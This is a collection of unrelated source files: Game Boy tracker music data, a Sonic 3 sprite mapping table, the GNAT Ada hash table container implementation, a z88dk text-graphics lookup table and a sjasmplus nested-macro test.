<gh_stars>10-100 ; Created with <NAME>'s Game Boy Tracker ; Music Patterns SECTION "Great Theme Pattern 0", ROMX PATTERN_Great0: DB $0A DB $08, $01, $11, $06, $02, $0F, $0B, $02, $13, $0B, $01, $24, $18, $01, $18, $06, $02, $0F, $0B, $01, $26, $18, $01, $11, $06, $02, $13, $0B, $01, $24, $18, $11 DB $47, $01, $01, $29, $09, $01, $16, $06, $02, $17, $0B, $01, $11, $06, $02, $13, $0B, $01, $26, $18, $02, $09, $01, $15, $06, $02, $0F, $0B, $01, $11, $06, $02 DB $13, $0B, $01, $21, $18, $02, $09, $01, $18, $06, $02, $0F, $0B, $02, $13, $0B, $01, $1D, $18, $01, $24, $09, $01, $11, $06, $02, $0F, $0B, $01, $13, $06, $02 DB $13, $0B, $01, $11, $18, $02, $17, $0B, $01, $11, $06, $02, $13, $0B, $02, $18, $01, $22, $09, $01, $18, $06, $02, $0F, $0B, $02, $18, $02, $13, $0B, $01, $1D DB $18, $01, $11, $06, $02, $0F, $0B, $01, $11, $18, $02, $13, $0B, $01, $1D, $18, $02, $09, $01, $1A, $06, $02, $0F, $0B, $01, $11, $18, $02, $13, $0B, $01, $1D DB $18, $02, $09, $01, $18, $06, $02, $17, $0B, $01, $11, $18, $02, $13, $0B, $02, $18, $01, $16, $06, $02, $0F, $0B, $02, $18, $02, $13, $0B, $01, $1D, $18, $02 DB $09, $01, $18, $06, $02, $0F, $0B, $01, $11, $18, $02, $13, $0B, $01, $29, $18, $02, $09, $01, $16, $06, $02, $0F, $0B, $01, $1D, $18, $02, $13, $0B, $01, $24 DB $09, $01, $15, $06, $02, $17, $0B, $02, $18, $01, $11, $06, $02, $13, $0B, $02, $18, $02, $09, $01, $13, $06, $02, $0F, $0B, $02, $18, $02, $13, $00, $07, $07 SECTION "Great Theme Pattern 1", ROMX PATTERN_Great1: DB $0A DB $08, $01, $0C, $06, $0B, $01, $15, $06, $0B, $01, $1D, $06, $0B, $01, $0C, $06, $00, $07, $07 SECTION "Great Theme Pattern 2", ROMX PATTERN_Great2: DB $0A DB $08, $01, $11, $06, $02, $0F, $0B, $02, $13, $0B, $01, $24, $18, $01, $18, $06, $02, $0F, $0B, $01, $26, $18, $01, $11, $06, $02, $13, $0B, $01, $24, $18, $01 DB $29, $09, $01, $16, $06, $02, $17, $0B, $01, $11, $06, $02, $13, $0B, $01, $26, $18, $01, $15, $06, $02, $0F, $0B, $01, $11, $06, $02, $13, $0B, $01, $29, $18 DB $02, $09, $01, $18, $06, $02, $0F, $0B, $02, $13, $0B, $01, $1D, $18, $01, $24, $09, $01, $11, $06, $02, $0F, $0B, $01, $13, $06, $02, $13, $0B, $02, $17, $0B DB $01, $11, $06, $02, $13, $0B, $01, $11, $18, $01, $22, $09, $01, $18, $06, $02, $0F, $0B, $02, $18, $02, $13, $0B, $01, $1D, $18, $01, $13, $06, $02, $0F, $0B DB $02, $00, $02, $13, $0B, $01, $1F, $18, $01, $13, $06, $02, $0F, $0B, $02, $00, $02, $13, $0B, $01, $1D, $18, $02, $09, $01, $15, $06, $02, $17, $0B, $02, $00 DB $02, $13, $0B, $01, $1F, $18, $01, $13, $06, $02, $0F, $0B, $02, $00, $02, $13, $0B, $01, $24, $18, $02, $09, $01, $16, $06, $02, $0F, $0B, $02, $00, $02, $13 DB $0B, $01, $1D, $18, $02, $09, $01, $15, $06, $02, $0F, $0B, $02, $00, $02, $13, $0B, $01, $24, $18, $01, $24, $09, $01, $0C, $06, $02, $17, $0B, $02, $00, $01 DB $0E, $06, $02, $13, $0B, $01, $29, $18, $02, $09, $01, $10, $06, $02, $0F, $0B, $01, $1D, $18, $02, $13, $00, $07, $07 SECTION "Great Theme Pattern 3", ROMX PATTERN_Great3: DB $0A DB $08, $01, $11, $06, $02, $0F, $0B, $02, $13, $0B, $01, $24, $18, $01, $18, $06, $02, $0F, $0B, $01, $26, $18, $01, $11, $06, $02, $13, $0B, $01, $29, $18, $01 DB $29, $09, $01, $16, $06, $02, $17, $0B, $01, $11, $06, $02, $13, $0B, $01, $1D, $18, $01, $15, $06, $02, $0F, $0B, $01, $11, $06, $02, $13, $0B, $01, $29, $18 DB $02, $09, $01, $18, $06, $02, $0F, $0B, $02, $13, $0B, $01, $24, $18, $01, $24, $09, $01, $11, $06, $02, $0F, $0B, $01, $13, $06, $02, $13, $0B, $01, $1D, $18 DB $02, $17, $0B, $01, $1F, $18, $01, $11, $06, $02, $13, $0B, $01, $24, $18, $01, $22, $09, $01, $18, $06, $02, $0F, $0B, $02, $13, $0B, $01, $29, $18, $01, $13 DB $06, $02, $0F, $0B, $02, $13, $0B, $01, $1D, $18, $01, $13, $06, $02, $0F, $0B, $02, $13, $0B, $01, $29, $18, $02, $09, $01, $15, $06, $02, $17, $0B, $01, $24 DB $18, $02, $13, $0B, $01, $1D, $18, $01, $13, $06, $02, $0F, $0B, $01, $29, $18, $02, $13, $0B, $02, $09, $01, $16, $06, $02, $0F, $0B, $01, $1D, $18, $02, $13 DB $0B, $01, $29, $18, $02, $09, $01, $15, $06, $02, $0F, $0B, $02, $13, $0B, $02, $18, $01, $24, $09, $01, $0C, $06, $02, $17, $0B, $01, $0E, $06, $02, $13, $0B DB $02, $18, $02, $09, $01, $10, $06, $02, $0F, $0B, $01, $1D, $18, $02, $13, $00, $07, $07 SECTION "Great Theme End Pattern", ROMX PATTERN_GreatLAST: DB $08, $EC, $FF, $07 ; Music Pattern Order Table SECTION "Great Theme Pattern Table", ROMX Music_Great:: DW PATTERN_Great1, BANK(PATTERN_Great1) DW PATTERN_Great0, BANK(PATTERN_Great0) DW PATTERN_Great2, BANK(PATTERN_Great2) DW PATTERN_Great0, BANK(PATTERN_Great0) DW PATTERN_Great3, BANK(PATTERN_Great3) DW PATTERN_GreatLAST, BANK(PATTERN_GreatLAST) ; Instruments SECTION "Great Theme Instruments", ROMX INSTGreat_CHNLOFF: DB $05, $00, $01, $80, $02 INSTGreat1_CHNL2: DB $07, $05, $20 DB $0A, $FF, $9D, $FE DB $80, $38, $CD, $C9 DB $78, $CF, $DB, $A8 DB $88, $89, $99, $98 DB $88, $88, $01, $80 DB $00, $02, $0A, $FF DB $FF, $FF, $90, $00 DB $05, $88, $88, $88 DB $88, $88, $88, $88 DB $88, $88, $88, $88 DB $01, $80, $00, $02 DB $0A, $FF, $FF, $FF DB $E5, $00, $00, $38 DB $88, $88, $88, $88 DB $88, $88, $88, $88 DB $88, $88, $01, $80 DB $00, $02, $0A, $FF DB $FF, $FF, $FE, $30 DB $00, $01, $68, $88 DB $88, $88, $88, $88 DB $88, $88, $88, $88 DB $01, $80, $00, $02 DB $0A, $FF, $EF, $FF DB $FE, $B1, $00, $00 DB $04, $88, $88, $88 DB $88, $88, $88, $88 DB $88, $88, $01, $80 DB $00, $02, $0A, $FF DB $EF, $FF, $FF, $E8 DB $00, $00, $00, $27 DB $88, $88, $88, $88 DB $88, $88, $88, $88 DB $01, $80, $00, $02 DB $0A, $FF, $EF, $FF DB $FF, $FD, $50, $00 DB $00, $00, $58, $88 DB $88, $88, $88, $88 DB $88, $88, $01, $80 DB $00, $02, $0A, $FF DB $DF, $FF, $FF, $FE DB $C3, $00, $00, $00 DB $02, $88, $88, $88 DB $88, $88, $88, $88 DB $01, $80, $00, $02 DB $01, $80, $00, $20 DB $02 INSTGreat2_CHNL1: DB $07, $0A, $80 DB $05, $75, $01, $80 DB $02 INSTGreat3_CHNL3: DB $07, $0A, $4E DB $05, $A0, $01, $80 DB $00, $01, $0A, $14 DB $01, $80, $05, $80 DB $01, $80, $00, $01 DB $05, $00, $01, $80 DB $02 INSTGreat4_CHNL3: DB $07, $0A, $36 DB $01, $80, $05, $80 DB $01, $80, $00, $01 DB $05, $00, $01, $80 DB $02 INSTGreat5_CHNL3: DB $07, $0A, $69 DB $05, $F0, $01, $80 DB $00, $01, $0A, $4C DB $01, $80, $00, $01 DB $0A, $15, $05, $C1 DB $01, $80, $02 INSTGreat6_CHNL0: DB $07, $0B, $08 DB $0A, $80, $05, $E2 DB $01, $80, $00, $01 DB $0A, $40, $00, $01 DB $0A, $00, $00, $01 DB $0A, $80, $00, $01 DB $0A, $00, $02 ; Instrument Table Inst_Great:: DW INSTGreat_CHNLOFF DW INSTGreat1_CHNL2 DW INSTGreat2_CHNL1 DW INSTGreat3_CHNL3 DW INSTGreat4_CHNL3 DW INSTGreat5_CHNL3 DW INSTGreat6_CHNL0
Working Disassembly/General/Sprites/SSZ Death Egg Cloud/Map - SSZ Death Egg Cloud.asm
TeamASM-Blur/Sonic-3-Blue-Balls-Edition
5
100726
<filename>Working Disassembly/General/Sprites/SSZ Death Egg Cloud/Map - SSZ Death Egg Cloud.asm Map_66CD6 dc.w word_66CF0-Map_66CD6 dc.w word_66CFE-Map_66CD6 dc.w word_66D18-Map_66CD6 dc.w word_66D3E-Map_66CD6 dc.w word_66D64-Map_66CD6 dc.w word_66D8A-Map_66CD6 dc.w word_66DB0-Map_66CD6 dc.w word_66DD6-Map_66CD6 dc.w word_66DFC-Map_66CD6 dc.w word_66E22-Map_66CD6 dc.w word_66E48-Map_66CD6 dc.w word_66E6E-Map_66CD6 dc.w word_66E94-Map_66CD6 word_66CF0: dc.w 2 dc.b $FC, 4, 0, 0, $FF, $F0 dc.b $FC, 4, 8, 0, 0, 0 word_66CFE: dc.w 4 dc.b $FC, 4, 0, 0, $FF, $E0 dc.b $F4, 5, 0, 2, $FF, $F0 dc.b $F4, 5, 8, 2, 0, 0 dc.b $FC, 4, 8, 0, 0, $10 word_66D18: dc.w 6 dc.b $FC, 8, 0, 0, $FF, $D0 dc.b $F4, 5, 0, 3, $FF, $E8 dc.b $EC, 2, 0, 7, $FF, $F8 dc.b $EC, 2, 8, 7, 0, 0 dc.b $F4, 5, 8, 3, 0, 8 dc.b $FC, 8, 8, 0, 0, $18 word_66D3E: dc.w 6 dc.b $FC, 8, 0, 0, $FF, $D0 dc.b $F4, 5, 0, 3, $FF, $E8 dc.b $EC, 2, 0, 7, $FF, $F8 dc.b $EC, 2, 8, 7, 0, 0 dc.b $F4, 5, 8, 3, 0, 8 dc.b $FC, 8, 8, 0, 0, $18 word_66D64: dc.w 6 dc.b $FC, 4, 0, 0, $FF, $D0 dc.b $F4, 5, 0, 2, $FF, $E0 dc.b $EC, 6, 0, 6, $FF, $F0 dc.b $EC, 6, 8, 6, 0, 0 dc.b $F4, 5, 8, 2, 0, $10 dc.b $FC, 4, 8, 0, 0, $20 word_66D8A: dc.w 6 dc.b $FC, 4, 0, 0, $FF, $C8 dc.b $F4, 1, 0, 2, $FF, $D8 dc.b $EC, $E, 0, 4, $FF, $E0 dc.b $EC, $E, 8, 4, 0, 0 dc.b $F4, 1, 8, 2, 0, $20 dc.b $FC, 4, 8, 0, 0, $28 word_66DB0: dc.w 6 dc.b $FC, 8, 0, 0, $FF, $C0 dc.b $F4, 1, 0, 3, $FF, $D8 dc.b $EC, $E, 0, 5, $FF, $E0 dc.b $EC, $E, 8, 5, 0, 0 dc.b $F4, 1, 8, 3, 0, $20 dc.b $FC, 8, 8, 0, 0, $28 word_66DD6: dc.w 6 dc.b $FC, 8, 0, 0, $FF, $C0 dc.b $F4, 9, 0, 3, $FF, $D8 dc.b $EC, 6, 0, 9, $FF, $F0 dc.b $EC, 6, 8, 9, 0, 0 dc.b $F4, 9, 8, 3, 0, $10 dc.b $FC, 8, 8, 0, 0, $28 word_66DFC: dc.w 6 dc.b $FC, 8, 0, 0, $FF, $C0 dc.b $F4, 9, 0, 3, $FF, $D8 dc.b $EC, 6, 0, 9, $FF, $F0 dc.b $EC, 6, 8, 9, 0, 0 dc.b $F4, 9, 8, 3, 0, $10 dc.b $FC, 8, 8, 0, 0, $28 word_66E22: dc.w 6 dc.b $FC, 8, 0, 0, $FF, $C0 dc.b $F4, 9, 0, 3, $FF, $D8 dc.b $EC, 6, 0, 9, $FF, $F0 dc.b $EC, 6, 8, 9, 0, 0 dc.b $F4, 9, 8, 3, 0, $10 dc.b $FC, 8, 8, 0, 0, $28 word_66E48: dc.w 6 dc.b $FC, 8, 0, 0, $FF, $C0 dc.b $F4, 9, 0, 3, $FF, $D8 dc.b $EC, 6, 0, 9, $FF, $F0 dc.b $EC, 6, 8, 9, 0, 0 dc.b $F4, 9, 8, 3, 0, $10 dc.b $FC, 8, 8, 0, 0, $28 word_66E6E: dc.w 6 dc.b $FC, 8, 0, 0, $FF, $C0 dc.b $F4, 9, 0, 3, $FF, $D8 dc.b $EC, 6, 0, 9, $FF, $F0 dc.b $EC, 6, 8, 9, 0, 0 dc.b $F4, 9, 8, 3, 0, $10 dc.b $FC, 8, 8, 0, 0, $28 word_66E94: dc.w 6 dc.b $FC, 8, 0, 0, $FF, $C0 dc.b $F4, 1, 0, 3, $FF, $D8 dc.b $F4, $D, 0, 5, $FF, $E0 dc.b $F4, $D, 8, 5, 0, 0 dc.b $F4, 1, 8, 3, 0, $20 dc.b $FC, 8, 8, 0, 0, $28
bb-runtimes/runtimes/ravenscar-full-stm32g474/gnat/a-chtgop.adb
JCGobbi/Nucleo-STM32G474RE
0
24982
<reponame>JCGobbi/Nucleo-STM32G474RE<filename>bb-runtimes/runtimes/ravenscar-full-stm32g474/gnat/a-chtgop.adb ------------------------------------------------------------------------------ -- -- -- GNAT LIBRARY COMPONENTS -- -- -- -- ADA.CONTAINERS.HASH_TABLES.GENERIC_OPERATIONS -- -- -- -- B o d y -- -- -- -- Copyright (C) 2004-2021, Free Software Foundation, Inc. -- -- -- -- GNAT is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 3, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. -- -- -- -- -- -- -- -- -- -- -- -- You should have received a copy of the GNU General Public License and -- -- a copy of the GCC Runtime Library Exception along with this program; -- -- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see -- -- <http://www.gnu.org/licenses/>. -- -- -- -- This unit was originally developed by <NAME>. -- ------------------------------------------------------------------------------ with Ada.Containers.Prime_Numbers; with Ada.Unchecked_Deallocation; with System; use type System.Address; package body Ada.Containers.Hash_Tables.Generic_Operations is pragma Warnings (Off, "variable ""Busy*"" is not referenced"); pragma Warnings (Off, "variable ""Lock*"" is not referenced"); -- See comment in Ada.Containers.Helpers type Buckets_Allocation is access all Buckets_Type; -- Used for allocation and deallocation (see New_Buckets and Free_Buckets). -- This is necessary because Buckets_Access has an empty storage pool. ------------ -- Adjust -- ------------ procedure Adjust (HT : in out Hash_Table_Type) is Src_Buckets : constant Buckets_Access := HT.Buckets; N : constant Count_Type := HT.Length; Src_Node : Node_Access; Dst_Prev : Node_Access; begin -- If the counts are nonzero, execution is technically erroneous, but -- it seems friendly to allow things like concurrent "=" on shared -- constants. Zero_Counts (HT.TC); HT.Buckets := null; HT.Length := 0; if N = 0 then return; end if; -- Technically it isn't necessary to allocate the exact same length -- buckets array, because our only requirement is that following -- assignment the source and target containers compare equal (that is, -- operator "=" returns True). We can satisfy this requirement with any -- hash table length, but we decide here to match the length of the -- source table. This has the benefit that when iterating, elements of -- the target are delivered in the exact same order as for the source. HT.Buckets := New_Buckets (Length => Src_Buckets'Length); for Src_Index in Src_Buckets'Range loop Src_Node := Src_Buckets (Src_Index); if Src_Node /= null then declare Dst_Node : constant Node_Access := Copy_Node (Src_Node); -- See note above pragma Assert (Checked_Index (HT, Dst_Node) = Src_Index); begin HT.Buckets (Src_Index) := Dst_Node; HT.Length := HT.Length + 1; Dst_Prev := Dst_Node; end; Src_Node := Next (Src_Node); while Src_Node /= null loop declare Dst_Node : constant Node_Access := Copy_Node (Src_Node); -- See note above pragma Assert (Checked_Index (HT, Dst_Node) = Src_Index); begin Set_Next (Node => Dst_Prev, Next => Dst_Node); HT.Length := HT.Length + 1; Dst_Prev := Dst_Node; end; Src_Node := Next (Src_Node); end loop; end if; end loop; pragma Assert (HT.Length = N); end Adjust; -------------- -- Capacity -- -------------- function Capacity (HT : Hash_Table_Type) return Count_Type is begin if HT.Buckets = null then return 0; end if; return HT.Buckets'Length; end Capacity; ------------------- -- Checked_Index -- ------------------- function Checked_Index (Hash_Table : aliased in out Hash_Table_Type; Buckets : Buckets_Type; Node : Node_Access) return Hash_Type is Lock : With_Lock (Hash_Table.TC'Unrestricted_Access); begin return Index (Buckets, Node); end Checked_Index; function Checked_Index (Hash_Table : aliased in out Hash_Table_Type; Node : Node_Access) return Hash_Type is begin return Checked_Index (Hash_Table, Hash_Table.Buckets.all, Node); end Checked_Index; ----------- -- Clear -- ----------- procedure Clear (HT : in out Hash_Table_Type) is Index : Hash_Type := 0; Node : Node_Access; begin TC_Check (HT.TC); while HT.Length > 0 loop while HT.Buckets (Index) = null loop Index := Index + 1; end loop; declare Bucket : Node_Access renames HT.Buckets (Index); begin loop Node := Bucket; Bucket := Next (Bucket); HT.Length := HT.Length - 1; Free (Node); exit when Bucket = null; end loop; end; end loop; end Clear; -------------------------- -- Delete_Node_At_Index -- -------------------------- procedure Delete_Node_At_Index (HT : in out Hash_Table_Type; Indx : Hash_Type; X : in out Node_Access) is Prev : Node_Access; Curr : Node_Access; begin Prev := HT.Buckets (Indx); if Prev = X then HT.Buckets (Indx) := Next (Prev); HT.Length := HT.Length - 1; Free (X); return; end if; if Checks and then HT.Length = 1 then raise Program_Error with "attempt to delete node not in its proper hash bucket"; end if; loop Curr := Next (Prev); if Checks and then Curr = null then raise Program_Error with "attempt to delete node not in its proper hash bucket"; end if; if Curr = X then Set_Next (Node => Prev, Next => Next (Curr)); HT.Length := HT.Length - 1; Free (X); return; end if; Prev := Curr; end loop; end Delete_Node_At_Index; --------------------------- -- Delete_Node_Sans_Free -- --------------------------- procedure Delete_Node_Sans_Free (HT : in out Hash_Table_Type; X : Node_Access) is pragma Assert (X /= null); Indx : Hash_Type; Prev : Node_Access; Curr : Node_Access; begin if Checks and then HT.Length = 0 then raise Program_Error with "attempt to delete node from empty hashed container"; end if; Indx := Checked_Index (HT, X); Prev := HT.Buckets (Indx); if Checks and then Prev = null then raise Program_Error with "attempt to delete node from empty hash bucket"; end if; if Prev = X then HT.Buckets (Indx) := Next (Prev); HT.Length := HT.Length - 1; return; end if; if Checks and then HT.Length = 1 then raise Program_Error with "attempt to delete node not in its proper hash bucket"; end if; loop Curr := Next (Prev); if Checks and then Curr = null then raise Program_Error with "attempt to delete node not in its proper hash bucket"; end if; if Curr = X then Set_Next (Node => Prev, Next => Next (Curr)); HT.Length := HT.Length - 1; return; end if; Prev := Curr; end loop; end Delete_Node_Sans_Free; -------------- -- Finalize -- -------------- procedure Finalize (HT : in out Hash_Table_Type) is begin Clear (HT); Free_Buckets (HT.Buckets); end Finalize; ----------- -- First -- ----------- function First (HT : Hash_Table_Type) return Node_Access is Dummy : Hash_Type; begin return First (HT, Dummy); end First; function First (HT : Hash_Table_Type; Position : out Hash_Type) return Node_Access is begin if HT.Length = 0 then Position := Hash_Type'Last; return null; end if; Position := HT.Buckets'First; loop if HT.Buckets (Position) /= null then return HT.Buckets (Position); end if; Position := Position + 1; end loop; end First; ------------------ -- Free_Buckets -- ------------------ procedure Free_Buckets (Buckets : in out Buckets_Access) is procedure Free is new Ada.Unchecked_Deallocation (Buckets_Type, Buckets_Allocation); begin -- Buckets must have been created by New_Buckets. Here, we convert back -- to the Buckets_Allocation type, and do the free on that. Free (Buckets_Allocation (Buckets)); end Free_Buckets; --------------------- -- Free_Hash_Table -- --------------------- procedure Free_Hash_Table (Buckets : in out Buckets_Access) is Node : Node_Access; begin if Buckets = null then return; end if; for J in Buckets'Range loop while Buckets (J) /= null loop Node := Buckets (J); Buckets (J) := Next (Node); Free (Node); end loop; end loop; Free_Buckets (Buckets); end Free_Hash_Table; ------------------- -- Generic_Equal -- ------------------- function Generic_Equal (L, R : Hash_Table_Type) return Boolean is begin if L.Length /= R.Length then return False; end if; if L.Length = 0 then return True; end if; declare -- Per AI05-0022, the container implementation is required to detect -- element tampering by a generic actual subprogram. Lock_L : With_Lock (L.TC'Unrestricted_Access); Lock_R : With_Lock (R.TC'Unrestricted_Access); L_Index : Hash_Type; L_Node : Node_Access; N : Count_Type; begin -- Find the first node of hash table L L_Index := 0; loop L_Node := L.Buckets (L_Index); exit when L_Node /= null; L_Index := L_Index + 1; end loop; -- For each node of hash table L, search for an equivalent node in -- hash table R. N := L.Length; loop if not Find (HT => R, Key => L_Node) then return False; end if; N := N - 1; L_Node := Next (L_Node); if L_Node = null then -- We have exhausted the nodes in this bucket if N = 0 then return True; end if; -- Find the next bucket loop L_Index := L_Index + 1; L_Node := L.Buckets (L_Index); exit when L_Node /= null; end loop; end if; end loop; end; end Generic_Equal; ----------------------- -- Generic_Iteration -- ----------------------- procedure Generic_Iteration (HT : Hash_Table_Type) is procedure Wrapper (Node : Node_Access; Dummy_Pos : Hash_Type); ------------- -- Wrapper -- ------------- procedure Wrapper (Node : Node_Access; Dummy_Pos : Hash_Type) is begin Process (Node); end Wrapper; procedure Internal_With_Pos is new Generic_Iteration_With_Position (Wrapper); -- Start of processing for Generic_Iteration begin Internal_With_Pos (HT); end Generic_Iteration; ------------------------------------- -- Generic_Iteration_With_Position -- ------------------------------------- procedure Generic_Iteration_With_Position (HT : Hash_Table_Type) is Node : Node_Access; begin if HT.Length = 0 then return; end if; for Indx in HT.Buckets'Range loop Node := HT.Buckets (Indx); while Node /= null loop Process (Node, Indx); Node := Next (Node); end loop; end loop; end Generic_Iteration_With_Position; ------------------ -- Generic_Read -- ------------------ procedure Generic_Read (Stream : not null access Root_Stream_Type'Class; HT : out Hash_Table_Type) is N : Count_Type'Base; NN : Hash_Type; begin Clear (HT); Count_Type'Base'Read (Stream, N); if Checks and then N < 0 then raise Program_Error with "stream appears to be corrupt"; end if; if N = 0 then return; end if; -- The RM does not specify whether or how the capacity changes when a -- hash table is streamed in. Therefore we decide here to allocate a new -- buckets array only when it's necessary to preserve representation -- invariants. if HT.Buckets = null or else HT.Buckets'Length < N then Free_Buckets (HT.Buckets); NN := Prime_Numbers.To_Prime (N); HT.Buckets := New_Buckets (Length => NN); end if; for J in 1 .. N loop declare Node : constant Node_Access := New_Node (Stream); Indx : constant Hash_Type := Checked_Index (HT, Node); B : Node_Access renames HT.Buckets (Indx); begin Set_Next (Node => Node, Next => B); B := Node; end; HT.Length := HT.Length + 1; end loop; end Generic_Read; ------------------- -- Generic_Write -- ------------------- procedure Generic_Write (Stream : not null access Root_Stream_Type'Class; HT : Hash_Table_Type) is procedure Write (Node : Node_Access); pragma Inline (Write); procedure Write is new Generic_Iteration (Write); ----------- -- Write -- ----------- procedure Write (Node : Node_Access) is begin Write (Stream, Node); end Write; begin -- See Generic_Read for an explanation of why we do not stream out the -- buckets array length too. Count_Type'Base'Write (Stream, HT.Length); Write (HT); end Generic_Write; ----------- -- Index -- ----------- function Index (Buckets : Buckets_Type; Node : Node_Access) return Hash_Type is begin return Hash_Node (Node) mod Buckets'Length; end Index; function Index (Hash_Table : Hash_Table_Type; Node : Node_Access) return Hash_Type is begin return Index (Hash_Table.Buckets.all, Node); end Index; ---------- -- Move -- ---------- procedure Move (Target, Source : in out Hash_Table_Type) is begin if Target'Address = Source'Address then return; end if; TC_Check (Source.TC); Clear (Target); declare Buckets : constant Buckets_Access := Target.Buckets; begin Target.Buckets := Source.Buckets; Source.Buckets := Buckets; end; Target.Length := Source.Length; Source.Length := 0; end Move; ----------------- -- New_Buckets -- ----------------- function New_Buckets (Length : Hash_Type) return Buckets_Access is subtype Rng is Hash_Type range 0 .. Length - 1; begin -- Allocate in Buckets_Allocation'Storage_Pool, then convert to -- Buckets_Access. return Buckets_Access (Buckets_Allocation'(new Buckets_Type (Rng))); end New_Buckets; ---------- -- Next -- ---------- function Next (HT : aliased in out Hash_Table_Type; Node : Node_Access; Position : in out Hash_Type) return Node_Access is Result : Node_Access; First : Hash_Type; begin -- First, check if the node has other nodes chained to it Result := Next (Node); if Result /= null then return Result; end if; -- Check if we were supplied a position for Node, from which we -- can start iteration on the buckets. if Position /= Hash_Type'Last then First := Position + 1; else First := Checked_Index (HT, Node) + 1; end if; for Indx in First .. HT.Buckets'Last loop Result := HT.Buckets (Indx); if Result /= null then Position := Indx; return Result; end if; end loop; return null; end Next; function Next (HT : aliased in out Hash_Table_Type; Node : Node_Access) return Node_Access is Pos : Hash_Type := Hash_Type'Last; begin return Next (HT, Node, Pos); end Next; ---------------------- -- Reserve_Capacity -- ---------------------- procedure Reserve_Capacity (HT : in out Hash_Table_Type; N : Count_Type) is NN : Hash_Type; begin if HT.Buckets = null then if N > 0 then NN := Prime_Numbers.To_Prime (N); HT.Buckets := New_Buckets (Length => NN); end if; return; end if; if HT.Length = 0 then -- This is the easy case. There are no nodes, so no rehashing is -- necessary. All we need to do is allocate a new buckets array -- having a length implied by the specified capacity. (We say -- "implied by" because bucket arrays are always allocated with a -- length that corresponds to a prime number.) if N = 0 then Free_Buckets (HT.Buckets); return; end if; if N = HT.Buckets'Length then return; end if; NN := Prime_Numbers.To_Prime (N); if NN = HT.Buckets'Length then return; end if; declare X : Buckets_Access := HT.Buckets; pragma Warnings (Off, X); begin HT.Buckets := New_Buckets (Length => NN); Free_Buckets (X); end; return; end if; if N = HT.Buckets'Length then return; end if; if N < HT.Buckets'Length then -- This is a request to contract the buckets array. The amount of -- contraction is bounded in order to preserve the invariant that the -- buckets array length is never smaller than the number of elements -- (the load factor is 1). if HT.Length >= HT.Buckets'Length then return; end if; NN := Prime_Numbers.To_Prime (HT.Length); if NN >= HT.Buckets'Length then return; end if; else NN := Prime_Numbers.To_Prime (Count_Type'Max (N, HT.Length)); if NN = HT.Buckets'Length then -- can't expand any more return; end if; end if; TC_Check (HT.TC); Rehash : declare Dst_Buckets : Buckets_Access := New_Buckets (Length => NN); Src_Buckets : Buckets_Access := HT.Buckets; pragma Warnings (Off, Src_Buckets); L : Count_Type renames HT.Length; LL : constant Count_Type := L; Src_Index : Hash_Type := Src_Buckets'First; begin while L > 0 loop declare Src_Bucket : Node_Access renames Src_Buckets (Src_Index); begin while Src_Bucket /= null loop declare Src_Node : constant Node_Access := Src_Bucket; Dst_Index : constant Hash_Type := Checked_Index (HT, Dst_Buckets.all, Src_Node); Dst_Bucket : Node_Access renames Dst_Buckets (Dst_Index); begin Src_Bucket := Next (Src_Node); Set_Next (Src_Node, Dst_Bucket); Dst_Bucket := Src_Node; end; pragma Assert (L > 0); L := L - 1; end loop; exception when others => -- If there's an error computing a hash value during a -- rehash, then AI-302 says the nodes "become lost." The -- issue is whether to actually deallocate these lost nodes, -- since they might be designated by extant cursors. Here -- we decide to deallocate the nodes, since it's better to -- solve real problems (storage consumption) rather than -- imaginary ones (the user might, or might not, dereference -- a cursor designating a node that has been deallocated), -- and because we have a way to vet a dangling cursor -- reference anyway, and hence can actually detect the -- problem. for Dst_Index in Dst_Buckets'Range loop declare B : Node_Access renames Dst_Buckets (Dst_Index); X : Node_Access; begin while B /= null loop X := B; B := Next (X); Free (X); end loop; end; end loop; Free_Buckets (Dst_Buckets); raise Program_Error with "hash function raised exception during rehash"; end; Src_Index := Src_Index + 1; end loop; HT.Buckets := Dst_Buckets; HT.Length := LL; Free_Buckets (Src_Buckets); end Rehash; end Reserve_Capacity; end Ada.Containers.Hash_Tables.Generic_Operations;
libsrc/graphics/super80/textpixl6.asm
jpoikela/z88dk
640
27299
SECTION rodata_clib PUBLIC textpixl ; 1 2 ; 4 8 ; 16 32 ; If pixel > 32 then 191 - value textpixl: ; ; ; .. X. .X XX ; .. .. .. .. ; .. .. .. .. defb 32, 129, 130, 131 ; .. X. .X XX ; X. X. X. X. ; .. .. .. .. defb 132, 133, 134, 135 ; .. X. .X XX ; .X .X .X .X ; .. .. .. .. defb 136, 137, 138, 139 ; .. X. .X XX ; XX XX XX XX ; .. .. .. .. defb 140, 141, 142, 143 ; .. X. .X XX ; .. .. .. .. ; X. X. X. X. defb 144, 145, 146, 147 ; .. X. .X XX ; X. X. X. X. ; X. X. X. X. defb 148, 149, 150, 151 ; .. X. .X XX ; .X .X .X .X ; X. X. X X. defb 152, 153, 154, 155 ; .. X. .X XX ; XX XX XX XX ; X. X. X. X. defb 156, 157, 158, 159 ; .. X. .X XX ; .. .. .. .. ; .X .X .X .X defb 160, 161, 162, 163 ; .. X. .X XX ; X. X. X. X. ; .X .X .X .X defb 164, 165, 166, 167 ; .. X. .X XX ; .X .X .X .X ; .X .X .X .X defb 168, 169, 170, 171 ; .. X. .X XX ; XX XX XX XX ; .X .X .X .X defb 172, 173, 174, 175 ; .. X. .X XX ; .. .. .. .. ; XX XX XX XX defb 176, 177, 178, 179 ; .. X. .X XX ; X. X. X. X. ; XX XX XX XX defb 180, 181, 182, 183 ; .. X. .X XX ; .X .X .X .X ; XX XX XX XX defb 184, 185, 186, 187 ; .. X. .X XX ; XX XX XX XX ; XX XX XX XX defb 188, 189, 190, 191
tests/listing/sld/sld_nested_macros.asm
fengjixuchui/sjasmplus
220
170330
<reponame>fengjixuchui/sjasmplus mac1 MACRO .mac1_start: ld b,b ld b,c .mac1_end: ENDM mac2 MACRO .mac2_start: ld c,b .mac1_emit: mac1 ld c,c .mac2_end: ENDM mac3 MACRO .mac3_start: ld d,b .mac2_emit: mac2 ld d,c .mac3_end: ENDM DEVICE ZXSPECTRUMNEXT MMU 0 7, 10 ; map pages 10..17 to each slot ORG $8000 OUTPUT "sld_nested_macros.bin" main: .start: ld e,b .mac3_emit1: mac3 ld e,c .mac3_emit2: mac3 ld e,d .end: CSPECTMAP "sld_nested_macros.sym"
